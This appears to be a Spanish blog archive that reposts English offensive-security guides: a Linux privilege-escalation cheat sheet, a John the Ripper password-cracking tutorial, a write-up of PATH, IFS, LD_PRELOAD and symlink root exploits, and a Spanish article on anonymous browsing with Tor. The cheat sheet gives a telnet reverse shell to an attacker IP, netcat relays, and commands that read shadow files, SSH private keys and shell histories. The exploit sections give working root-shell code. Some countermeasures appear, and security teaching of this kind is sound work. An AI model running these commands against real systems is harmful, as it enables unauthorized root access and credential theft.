martes, 30 de abril de 2013

[cheat sheet] Basic Linux Privilege Escalation


Enumeration is the key.
(Linux) privilege escalation is all about:
  • Collect - Enumeration, more enumeration and some more enumeration.
  • Process - Sort through data, analyse and prioritisation.
  • Search - Know what to search for and where to find the exploit code.
  • Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
  • Try - Get ready for (lots of) trial and error.

Operating System
What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release
  cat /etc/redhat-release



What's the Kernel version? Is it 64-bit?
cat /proc/version   
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-



What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set



Is there a printer?
lpstat -a



Applications & Services
What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/service



Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root



What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/



Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/



What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla



Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network



What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname



What other users & hosts are communicating with the system?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w



Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee



Is packet sniffing possible? What can be seen? Listen to live traffic
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21



Have you got a shell? Can you interact with the system?
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!



Is port forwarding possible? Redirect and interact with traffic from another view

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)



Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig



Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l



What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/



Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/



Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg



What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history



What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root



Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key



File Systems
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                      # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone



What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases



Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/



Is there anything in the log file(s) (Could help with "Local File Includes"!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp



If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i



How are file-systems mounted?
mount
df -h



Are there any unmounted file-systems?
cat /etc/fstab



What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

#find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null



Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null     # world-writeable folders
find / -perm -222 -type d 2>/dev/null  # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders



Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files



Preparation & Finding Exploit Code
What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc



How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp



Finding exploit code



Finding more information regarding the exploit



(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk



Mitigations
Is any of the above information easy to find?
Try doing it!
Setup a cron job which automates script(s) and/or 3rd party products



Is the system fully patched? Kernel, operating system, all applications, their  plugins and web services
apt-get update && apt-get upgrade
yum update



Are services running with the minimum level of privileges required?
For example, do you need to run MySQL as root?
Scripts Can any of this be automated?!



Other (quick) guides & Links
Enumeration

Misc

Source: G0tm1lk

martes, 23 de abril de 2013

Hacking Linux Part II: Password Cracking


Hacking Linux Part I: Privilege Escalation

Understanding the /etc/passwd file:

The /etc/passwd file on a Linux system is the first place a hacker would search if they wanted to compromise a large number of accounts (for obvious reasons). The /etc/passwd file has a general layout I give two examples below you may see on a Linux system:


root:*:0:0:The super user account:/root:/bin/tcsh
root:7dL94Tssk6zEt:0:0:The super user account:/root:/bin/tcsh

In /etc/passwd the ':' (colon) is used separate fieldsThe passwd file presents information about the users (in the order shown below).
- Username.
- Password.
- User ID.
- Group ID.
- Comment (usually the users full name, or about their responsibilities).
- Users home directory.
- The users shell (Usually is set as a default of /bin/bash or /bin/sh)

You may have noticed that the two possible entries above differ slightly, and that the difference is in the second field (the password section). This is because the password in the first entry is shadowed (I will explain what this means later), whereas the second password has just been encrypted. Generally nowadays you will not see the second entry as it can easily be cracked. Cracking the Linux password can be easy - but it does take time, time most attackers don't have, so they would prefer to leave this step out to achieving root privileges. Alec Muffets 'Crack' was pretty much, the first UNIX/ Linux password cracking program, it was able to crack passwords encrypted with DES crypt() and MD5 crypt(), now due to the shadow password suite, crack is almost dead. Programs such as John The Ripper are designed to break shadowed password. Since nowadays pretty much every Linux box uses the shadow password suite I will explain how to use John The Ripper later on in the manual.

Understanding the /etc/shadow file:
In the /etc/shadow file you will find entries similar to this:

root:x6FH.R4PFYGL2:11901:0:32767:7:4:12:1073741831

In /etc/shadow the ':' (colon) is used separate fieldsThe shadow file presents information about the users (in the order shown below).
Username.
- Encrypted password.
- Number of days since January 1st 1970, that the password was last changed.

- Number of days before the user is allowed to change their password.
- Number of days before the user must change their password.
- How many days in advance the user is warned of a password change.
- Number of days remaining for the user to change their password (else their account is disabled).
- A reserved field.

The /etc/passwd file needs to be read by all to login therefore has the permissions of 644 (or -rw-r--r--), the /etc/shadow file is only readable by root, and therefore has the permissions 400 (or -r--------). This can greatly increase security, because the encrypted passwords cannot be read by any other user apart from root, this makes dictionary attacks very difficult without root privilages.

Using John The Ripper To Crack Passwords:
After downloading the source, extract it and enter the src directory, then enter make linux-x86-any-elf, this will make a directory called run, this will contain all the binaries you will need to crack the Linux password. I will explain the basic use of John, but I would definitely recommend reading the documentation for full use of the program. Before you do anything I would recommend you edit john.ini, and get a different wordlist instead of using the list given with John, try packetstorm for a large password list. Remember, cracking passwords takes time and processor power - if an attacker were to try to crack your passwords on your server, rather than copying the files and cracking them elsewhere, then you will notice that your server may lag considerably.
Firstly we need to use the unshadow tool (located in the John's run directory) use the following command unshadow /etc/passwd /etc/shadow > passwd.1The easiest way to crack the password now is to enter john passwd.1.John generally has three modes - single, wordlist (with rules) & incremental, and using john passwd.1 will use those modes in that order. You can check which passwords have been cracked by running the command john -show passwd.1, these passwords are stored in john.pot. If you wish to check if any account with a userid of 0 you can use the command john -show -users:0 passwd.1. If you have a couple of different password files you can get John to work on the files at the same time, by using the following command format: john -single passwd.1 passwd.2. Lastly John has a mailing feature that will e-mail every user whose password has been cracked, you can do this by issuing the command mailer passwd.1.
Issuing the command unshadow /etc/passwd /etc/shadow > passwd.1 will echo information that looks similar to this into the file passwd.1 (some accounts have been removed for brevity).
root:$1£ajQhjtGx$F60uti4xHEEqtpHb8lTs7/:0:0::/root:/bin/tcsh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/log:
nobody:*:99:99:nobody:/:
nick:xsFH.RApFyG12:1001:10:Nick Doidge:/home/nick:/bin/bash
As it cracks the passwords the encrypted string and the password are stored in john.pot the output will look similar to this:
$1£ajQhjtGx$F60uti4xHEEqtpHb8lTs7/:enter
If you wish to print out a list of passwords that have been cracked the command john -show passwd.1 will give output similar to the below:
root:enter:0:0::/root:
1 password cracked, 1 left
************
Countermeasures:

1) Make sure you use MD5 on your passwords instead of DES!
2) Use a password cracker regularly on your own computer to filter out weak passwords.
3) Use different passwords on different systems.
4) Reglarly force users to change their passwords - the root password should be changed even more frequently!
5) Your passwords should be:
.......At least 8 characters long.
.......Have at least one number.
.......Have at least one non-alphanumeric character.
.......Not consist of a dictionary word.
.......Have both upper and lower case letters.
************

Thats pretty much it for password cracking, I know I haven't gone into great depth here, but now you know the basic layout of the password files, and how to break them using John (I havent described even a quarter of John's options etc so definitely read the documentation for extra interesting utilities).

fuente: www.dankalia.com

lunes, 22 de abril de 2013

Hacking Linux Part I: Privilege Escalation


Abusing users with '.' in their PATH:

Unfortunately users and sometimes admins are lazy - its human nature to want to avoid taking unnecessary steps, in this case the user would rather type:

$ program 
instead of
$ ./program

************
Newbie Note:

Having '.' in your PATH means that the user is able to execute binaries/ scripts from the current directory.
************

To avoid having to enter those two extra characters every time, the user adds '.' to their PATH. This can be an excellent method for an attacker to escalate his/ her privilege, for example:
Joe (the attacker) happens to know that that Suzy has sudo privileges to change users passwords - unfortunately for the admins she also has the power to change the root password. Now Suzy is a lazy girl and thus has '.' in her PATH. Joe places a program called 'ls' in a directory Suzy often visits. This 'ls' program contains code to modify root's password. Now when Suzy enters that directory and asks for a listing, because she has '.' in her path, the 'ls' that Joe placed in the directory is run, instead of /bin/ls. Now root's password has been changed, and Joe is able to logon as root.
Having '.' in your PATH can also help the attacker if exploiting programs that make system(), execvp(), or execlp() calls to programs, if they do not specify the full path to the program the attacker can place a program into a directory in the PATH, so that program is run instead - this works because programmers just expect that the program they mean to run will be in the PATH.
************
Newbie Note:

To add '.' to your path type this at the prompt PATH=.:${PATH} then to be able to use the '.' in your path enter export PATH.
************

************
Countermeasures
:
1) Do not include '.' in your path!
2) Place the following at the end of your .bashrc or .profile - This will remove all occurrences of '.' in your PATH.
PATH=`echo $PATH | sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://'`
************



Shell Escape Sequences:

Many programs offer escape sequences to display a shell to the user, programs such as
- emacs - by entering alt+!
- vi - by entering :![commandname]
- man - by entering![command name] replacing [command name] with the program you wish to run.
- Old Linux games - that incorporate a TBIC (the boss is coming) feature to escape to a shell.If you are able to use an escape sequence on a program that has suid bit set you will be given the privileges of the owner of the file. Escape sequences can help an attacker greatly, because they are so easy - although you will rarely find an escape sequence nowadays that will elevate your privilege to that of root. Try using different ctrl+[character] combinations to try and find escape sequences. For example - say that a text file had the suid bit set, and the user opened it up in vi, they could then enter :!/bin/bash, and they are given a suid root shell!

************
Countermeasures
:
1) Remove any suid games, or files that could easily be exploitable by shell escape sequences. To find all suid files on your system use the following command:
find / -type f -perm -4000
************




IFS Exploit:
The IFS exploit is pretty straight forward, although to the beginner it may seem a tad confusing. The IFS (or Internal Field Separator) is used to separate words/ arguments etc. In the English language we use the ' ' (space) character to seperate arguments from their commands.
With an IFS set to ' ' (space) the command "ls -al" has the space between 'ls' and '-al' to separate the command to its argument.
With an IFS set to ';' (semicolon) the command "ls;-al" will have the same effect as "ls -al", because we have said we wish to use the ';' instead of the space. So it uses a ';' to separate the command from its argument.
A hacker can make practical use of the IFS to escalate his/ her privilege. For example: Lets say that at every logon a suid program (/usr/bin/date) executes /bin/date and displays the output on screen. An attacker can take advantage of this by doing the following (I will explain the workings of the privilege elevation after, I have numbered the lines to make the explanation easier) (the '$' is the symbol for a standard command prompt, and the '#' is symbol for the root command prompt).
1)$ cat /home/nick/bin
2)...#!/bin/bash
3).../bin/sh #this script will execute /bin/sh
4)$ ls -al /usr/local/date
5)---s--x--x 1 root root 21673 Mar 9 18:36 date
6)$ PATH=/home/nick:${PATH}
7)$ export PATH
8)$ IFS=/
9)$ export IFS
10)$ /usr/local/date
11)# whoami
12)root

I will now explain the above in detail:
Lines 1, 2, 3: the attacker creates a simple bash script that runs /bin/sh when executed.
Lines 4 and 5: the attacker checks the permissions for the suid program that calls /bin/date.
Lines 6 and 7: adds '/home/nick' to his PATH (where the 'bin' program is he wrote earlier).
Lines 8 and 9: He sets the IFS to '/' this means that instead of using a space, the '/' will be used, this
means that the program instead of calling '/bin/date' will call 'bin date', because he has placed aprogram called 'bin' in the home directory (which is now in the PATH) when /usr/local/date is executed
it will execute /home/nick/bin with the permissions of /usr/local/date - which means the
attacker will get a root shell!
Lines 11, 12: The attacker runs 'whoami' to verify that he is root, line 12 confirms this.

************
Countermeasures:
 An easy way of attempting to stop IFS exploits, is to not allow users to execute any type of executable or suid programs in places that the users can write to. Directories such as /home/[username] and /tmp allow the user write permissions, this means that they can create programs then run them from the location. If directories such as /home and /tmp are on their own partitions you can disallow users to run suid programs or any executables for that matter by adding the correct options to /etc/fstab. You can do this by replacing a line similar to this:

/dev/hda6 /tmp ext3 defaults 0 0
with this:
/dev/hda6 /tmp ext3 nosuid,noexec 0 0

This type of countermeasure is not only useful to stop IFS attacks - but pretty much all attacks concerned with privilege escalation discussed in this manual
************


LD_PRELOAD Exploit:
This attack involves .so files (part of the dynamic link library) being used by programs. The attacker can add a program pretending to be one of these libraries so that when a program is run it will execute the program pretending to be a library, this is useful if you are calling a program that has the suid bit set to root, this. So when the program is first run, it will attempt to load the library it requires (but it has been replaced with code the attacker wants executed) and thus runs the commands in the program placed by the attacker, with the permissions of the owner of the calling program. A full example of this is demonstrated below:
1)$ cat me-root.c
2)...#include <stdio.h>
3)...#include <unistd.h>
4)...main()
5)...{
6)......setuid(0);
7)......setgid(0);
8)......printf("Congratulations you are root!");
9)...}
10)$ gcc -o me-root me-root.c
11)$ ls -l me-root.c
12)---s--x--x 1 root root 4365 Mar 16 14:05 me-root.c
13)$ cat me-root_so.c
14)...void printf(char *str)
15)...{
16)......execl("/bin/sh","sh",0);
17)...}
18)$ gcc -shared -o me-root_so.so me-root_so.c
19)& LD_PRELOAD=./me-root_so.so
20)$ export LD_PRELOAD
21)$ ./me-root
22)# whoami
23)root

I will explain the above attack in detail:

Lines 1 to 9: The attacker creates a simple C program that runs gives sets the userid and groupid to 0 (root).
Line 10: The attacker compiles the program created above and calls it me-root.
Lines 11 & 12: The attacker checks the file permissions on the me-root program.
Lines 13 to 17: The attacker creates the program that will pretend to be part of a library, it executes /bin/bash.
Line 18: The attacker compiles the pretend library program as a shared library and calls it me-root_so.so.
Lines 19 & 20: The attacker adds me-root_so.so, and exports LD_PRELOAD, so now when me-root is run it will execute the program 
me-root_so.so
 (pretending to be a library) with the permissions of me-root (in this case the permissions of userid 0 - which is the root account!).
Line 21: The attacker runs the me-root program.
Lines 22 & 23: The attacker verifies who s/he is, line 23 confirms s/he is root.


Symlinks:
Symlinks or symbolic links are a very useful tool in Linux. They allow us to make a "shortcut" (in windows terms) to a file or folder. For example
ln -s /etc/passwd /tmp/passwd_file
This creates a link called /tmp/passwd_file to /etc/passwd, so now whenever /tmp/passwd_file is opened it will open /etc/passwd. Although symlinks can be infinately useful, they are quite easily exploitable. Lets say for example Joe attacker is feeling particularly sneaky, Joe knows root uses '.' in his path, and that all users can post technical problems to the admin into a directory /usr/problems/. The attack is below, and the full description will follow:
1)$ ln -s /root/.rhosts /tmp/root-rhost
2)$ stat /tmp/root-rhost
3)...stat: cannot stat /tmp/root-rhost
4)$ cat /usr/problems/ls
5)...#!/bin/bash
6)...if [ ! -e /tmp/root-rhost ] ; then
7)......echo "+ +" >>/tmp/root-rhost
8)...fi
I will explain the above attack in detail:
Lines 1, 2 & 3: The attacker creates symbolic link from /tmp/root-rhost to /root/.rhosts, and uses stat to see if the file existed, the output on line three indicates that /root/.rhosts does not exist (the admin removed/root/.rhosts because he saw this file as a security threat - this is what Joe wants)
Line 4 to 8: He then creates a bash script called ls (which will be run instead of /bin/ls, because '.' is in his path first, when he wants to list the contents of /usr/problems/). This program tests if /tmp/root-rhost exists, because it is a symbolic link pointing to /root/.rhosts (which does not exist) it will return that /root/.rhosts does not exist, so it will then echo "+ +" into /tmp/root-rhost, which will be forwarded into the file /root/.rhosts! This will mean that root will have a passwordless login over any login that supports and allows rhosts authentication (e.g. rlogin and ssh). The trap is now set, he just has to wait!

Cron jobs with symlinks can also be used to an attackers advantage, for example:
The 'sales' group in businesscorp.com have a folder to post their documents for the whole group to read and write to, unfortunately the users keep forgetting to add group write permissions to their documents, so the admin developed a script that will change the files in the sales folder to the group sales, and set group writeable permissions, this script is run periodically through a cron job, the script looks like the below.
1)#!/bin/bash
2)chgrp -R sales /usr/export/sales
3)chmod -R g+w /usr/export/sales
If someone sneaky in sales decided to make two symlinks to /etc/passwd and /etc/shadow, the cron job would follow the symlinks and set write permissions for the group sales on /etc/passwd and /etc/shadow. From here the attacker can change any password s/he wants.

Hacking Linux Part II: Password Cracking

Fuente: www.dankalia.com

viernes, 9 de marzo de 2012

Navegar de forma anónima en Internet


El enorme crecimiento de Internet ha llevado a un gran número de personas a preocuparse por la privacidad. Si en el mundo real deberíamos tener derecho a preservar nuestra privacidad, ¿por qué no pedir lo mismo al mundo virtual? Hay muchas legítimas razones por las que la gente quiere permanecer en el anonimato en Internet, desde la simple paranoia hasta la necesidad de ocultar nuestras actividades de navegación a nuestro cónyuge. No estamos aquí para debatir sobre las implicaciones jurídicas, morales o éticas del anonimato en Internet, sino para limitarnos a ofrecer un análisis de algunos de los métodos que se pueden emplear para conseguir un nivel alto de anonimato.

NAVEGACIÓN PRIVADA

Mientras navegas por Internet, dejas una serie de rastros compuestos por cookiescache e historial. Son pistas que pueden ser seguidas para obtener información sensible acerca de tus hábitos de navegación. Estos rastros se sitúan en dos lugares: tu ordenador y las páginas web que visitas. Hasta hace un tiempo, aquellas personas preocupadas por su privacidad o que utilizan ordenadores compartidos con frecuencia (en hoteles, lugares de trabajo, centros educativos, etc), debían borrar el historial y las cookies manualmente, lo cual es incómodo, además de fácil de olvidar.
Existen métodos que ayudan a evitar que estés dejando rastros por donde pasas, comúnmente se conoce como “Navegación privada”, que es un método por el cual el navegador funciona del modo más discreto posible, sin almacenar información alguna sobre las páginas que se han visitado. Hoy en día, casi todos los navegadores incluyen esta característica.
Si bien cada navegador realiza esta función a su manera, en términos generales, el procedimiento es el siguiente:
  • Elimina las cookies tras cerrar la sesión
  • No se guarda ningún tipo de historial o formularios de auto-completado
  • No se guardan las contraseñas
  • Se borra la caché automáticamente al salir
De igual modo, es preciso recordar lo que no hace:
  • No proporciona conexiones seguras o cifradas
  • No oculta tu dirección IP
  • No evita que las páginas de Internet almacenen información sobre ti
  • No impide que tu navegación sea supervisada por el administrador de la red
  • No supone un anonimato total
Aquí no hay que hacer mayor detalle del asunto, cada navegador proporciona la activación de esta opción de forma particular. En COMODO Dragon lo podemos activar en el menú principal con el nombre de “Ventana de Incógnito”, igual es para Google Chrome. En Firefox lo encontramos como “Navegación privada”. En Internet Explorer lo identificamos como “Navegación inPrivate”. El modo privado de Opera es el más cómodo de todos: puedes combinar pestañas normales y privadas en una misma ventana. Por defecto no tiene ningún atajo de teclado, pero a cambio dispones del menú contextual de la barra de pestañas, donde debes elegir “Pestaña Privada Nueva”.
Aun navegando en modo privado, sigues siendo identificable: tu conexión está asociada a un número IP, una dirección virtual gracias a la cual es posible descubrir tu posición geográfica aproximada, proveedor de servicios y -si se trata de una IP institucional- incluso el lugar donde trabajas.
Hay muchos motivos para querer navegar así, pero sólo una forma de obtener un anonimato casi completo: losanonimizadores de conexión.

ANONIMATO EN LA RED

Existen una gran cantidad de servicios y programas disponibles tanto de pago como gratuitos que nos pueden dar mayor seguridad al navegar por Internet, los lugares en los que estos programas serán de ayuda son los cibercafés, bibliotecas, centros educativos, centros de trabajo, puntos de acceso inalámbrico públicos, etc, en los que necesitamos de privacidad. Dependiendo de los motivos, también hay productos perfectos para usarlos en casa y evitar miradas indiscretas e incluso que tu proveedor de Internet te haga un seguimiento. Aunque no existe ningún método que garantice al 100% el anonimato en Internet (salvo que navegues por tu propia Intranet), estos programas lo harán lo mejor que puedan.
Podemos decir que el anonimato se reduce a 3 puntos esenciales:
  • El Navegador: es el punto de entrada a la World Wide Web y el camino por el que la gente puede acceder a datos sobre ti. Si te tomas en serio tu anonimato en Internet, cambiar la configuración del navegador es fundamental.
  • El Software: es el elemento básico del anonimato en cuanto al manejo de datos de una red y su enrutamiento. Normalmente, el flujo de datos de nuestra red va directamente al ISP (Internet Service Provider) y de ahí hacia afuera, lo que significa que nuestro ISP nos tiene controlados en todo momento. El software especializado nos permite cifrar los datos de la red, con lo que al pasar por el ISP, éste no puede ver qué hay.
  • Las Costumbres: para asegurar el mayor anonimato en Internet, hay que cambiar los hábitos de navegación. Esto incluye aceptar manualmente cookies o elementos en flash para adaptarse a los nuevos navegadores, la velocidad de la conexión o entornos de escritorio.
Hay 3 clases de conexión que permiten la navegación anónima:
  • Proxys: es un programa o dispositivo que realiza una acción en representación de otro, esto es, si una hipotética máquina A solicita un recurso a una C, lo hará mediante una petición a BC entonces no sabrá que la petición procedió originalmente de A. Su finalidad es interceptar las conexiones de red que un cliente hace a un servidor de destino, por varios motivos posibles como seguridad, rendimiento, anonimato, etc.
  • p2p: una red descentralizada que manda los datos a través de ‘pares’ (peer2peer). Generalmente es segura, pero puede ser potencialmente insegura, ya que un ‘par’ puede guardar información acerca de los datos que pasan a través de él.
  • VPN: Una Red Virtual Privada (o Virtual Private Network) que manda tu información de un punto a otro a través de túneles seguros. Normalmente muy segura, pero podría ser insegura, ya que un servidor puede almacenar información de los datos que pasan a través del él.

TOR

Tor (The Onion Router) es el sistema de navegación anónima más popular. Se trata de una red de “túneles” por las cuales los datos de navegación, debidamente cifrados, atraviesan múltiples nodos hasta llegar a su destino. En la práctica, equivale a navegar anónimamente, puesto que nadie puede reconducir esos datos a tu IP real. Originado en el US Naval Research Laboratory y hasta noviembre de 2005 patrocinado por la Electronic Frontier Foundation, Tor es desarrollado por Roger Dingledine y Nick Mathewson junto con otros desarrolladores.
Tor es usualmente combinado con Privoxy para acceder a páginas web de forma anónima y segura. Privoxy es un proxy HTTP diseñado para proteger la privacidad en la navegación Internet.
Es importante saber que Tor no es 100% fiable en lo que se refiere al cifrado de la información. Su función principal es asegurar el anonimato del usuario, de forma que no se pueda rastrear la información que envía para llegar hasta él. La red Tor cifra la información a su entrada y la descifra a la salida de dicha red, con lo cual es imposible saber quién envió la información. Sin embargo, el propietario de un servidor de salida puede ver toda la información cuando es descifrada antes de llegar a Internet, por lo que aunque no pueda conocer el emisor sí que puede acceder a la información.
Para conseguir el anonimato en Internet y, además, la seguridad de que nadie accede a la información que se está enviando, es recomendable utilizar también algún sistema de cifrado como SSL. Además de ésto, los desarrolladores de Tor recomiendan bloquear las cookies y los plugins Java, ya que pueden averiguar la dirección IP del emisor.
También dispone de versiones portables, como Portable Tor y OperaTor, un derivado del conocido navegador Opera que se ejecuta desde memorias extraíbles; lleva incluido Tor y está preconfigurado para funcionar anónimamente desde el principio.

VIDALIA

Vidalia es un cliente Tor que empaqueta Tor y Polipo y enruta los datos a través de la red Tor. Polipo es un proxy HTTP de caché, que maneja SOCKS 4a, lo que evita que navegadores como Firefox, envíe las solicitudes de DNS por fuera de la red Tor, poniendo en peligro el anonimato. También acelera la navegación usando la red Tor.
